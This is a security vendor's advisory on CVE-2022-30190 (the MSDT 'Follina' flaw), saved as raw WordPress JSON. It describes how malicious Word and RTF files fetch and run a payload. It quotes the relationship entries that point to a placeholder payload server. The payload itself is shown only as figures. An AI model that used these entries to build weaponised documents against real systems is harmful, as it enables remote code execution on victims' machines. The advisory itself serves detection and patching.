Vulnerable Platform:<\/strong> Windows<\/p>\n Vulnerable Versions:<\/strong> All Windows versions<\/p>\n Patch\u00a0release date:<\/strong> 14, June 2022\u00a0\u00a0<\/a><\/p>\n Vulnerable module:<\/strong> Microsoft Support Diagnostic Tool (MSDT)<\/p>\n Vulnerability type:<\/strong> Remote Code Execution<\/p>\n Risk Level:<\/strong>\u00a0High (CVSS:3.1 7.8 \/ 7.0)<\/p>\n In computer security, Vulnerability is a weak point in a platform that can be exploited by an intruder or malware and cause unauthorized access to the victim’s system. Vulnerabilities let intruders execute arbitrary commands, access to system’s memory, install malware and siphon data, and wipe and change enterprise and organizational critical information.<\/p>\n The Doc\/Docx<\/strong> contains malicious XML<\/strong> (document.xml.rels) and a malicious RTF,<\/strong> abusing the MSDT<\/strong> flaw to download and execute its malicious payload. As a result, the intruder first must lure the victim to somehow execute the document which normally happens through email. For RTF<\/strong> files, purely, viewing the file through Preview Pane<\/strong> is enough and the intruder can perform his malicious activity without even opening the file.<\/p>\n If the malicious file is extracted, you can view the following contents from the word\/_rels\/document.xml.rels<\/strong>:<\/p>\n Figure 1- contents of the malicious XML<\/strong> file<\/p>\n The created items by the attacker are as follows:<\/p>\n 1. Type=\u201dhttp:\/\/schemas.openxmlformats.org\/officeDocument\/2006\/relationships\/oleObject\u201d<\/strong><\/p>\n 2. Target = \u201chttp:\/\/<payload_server>\/payload.html!\u201d<\/strong><\/p>\n 3. TargetMode = \u201cExternal\u201d<\/strong><\/p>\n All the above actions cause Microsoft Office<\/strong> to automatically download a link from its malicious server (2nd option) that contains malicious payload in the form of the following figure and run it by msdt.exe<\/strong> process as a subset of opened office file.<\/p>\n Figure 2- the form of the malicious payload which contains XML<\/strong> or RTF<\/strong> file and will be downloaded and executed when the client clicks on the link<\/p>\n The above figure is the main part of exploiting this vulnerability which uses a shame for ms-msdt to download PCWDiagnostic<\/strong> with IT_BrowsForFile<\/strong> parameters so it can recall the desired malicious payloads.<\/p>\n In the following you can view the changes that occur in an RTF<\/strong> file containing vulnerability:<\/p>\n Figure 3- The malicious part of the RTF<\/strong> file<\/p>\n Note:<\/strong> the above link (in the Figure) points to the malicious payload (Figure 2).<\/p>\n Padvish Antivirus<\/a><\/strong>\u00a0detects and removes these types of vulnerabilities. Padvish IPS<\/strong> (Intrusion Prevention System) detects and prevents all endeavors to break into the system through this vulnerability. To prevent any possible infection due to the files that use this flaw, it is recommended to use Microsoft-released Patch<\/a> for this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":" Overview: Type: Vulnerability Vulnerable Platform: Windows Vulnerable Versions: All Windows versions Patch\u00a0release date: 14, June 2022\u00a0\u00a0 Vulnerable module: Microsoft Support Diagnostic Tool (MSDT) Vulnerability type: Remote Code Execution Risk Level:\u00a0High (CVSS:3.1 7.8 \/ 7.0) What is a Vulnerability? In computer security, Vulnerability is a weak point in a platform that can be exploited by an…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[19],"tags":[],"class_list":["post-1181","post","type-post","status-publish","format-standard","hentry","category-exploit"],"_links":{"self":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/1181","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/comments?post=1181"}],"version-history":[{"count":7,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/1181\/revisions"}],"predecessor-version":[{"id":1419,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/posts\/1181\/revisions\/1419"}],"wp:attachment":[{"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/media?parent=1181"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/categories?post=1181"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/threats.amnpardaz.com\/en\/wp-json\/wp\/v2\/tags?post=1181"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}What is a Vulnerability?<\/h3>\n
How an intruder uses CVE-2022-30190<\/h3>\n
Technical explanation<\/h2>\n
Vulnerability details for Doc\/Docx files<\/h3>\n
![\"file](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2022\/06\/111.png\")
<\/p>\n![\"Malicious](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2022\/06\/222.png\")
<\/p>\nDetails of vulnerability for RTF files<\/h3>\n
![\"RTF](\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2022\/06\/333.png\")
<\/p>\nSecurity measures<\/h2>\n
How to mitigate and disinfect the system<\/h3>\n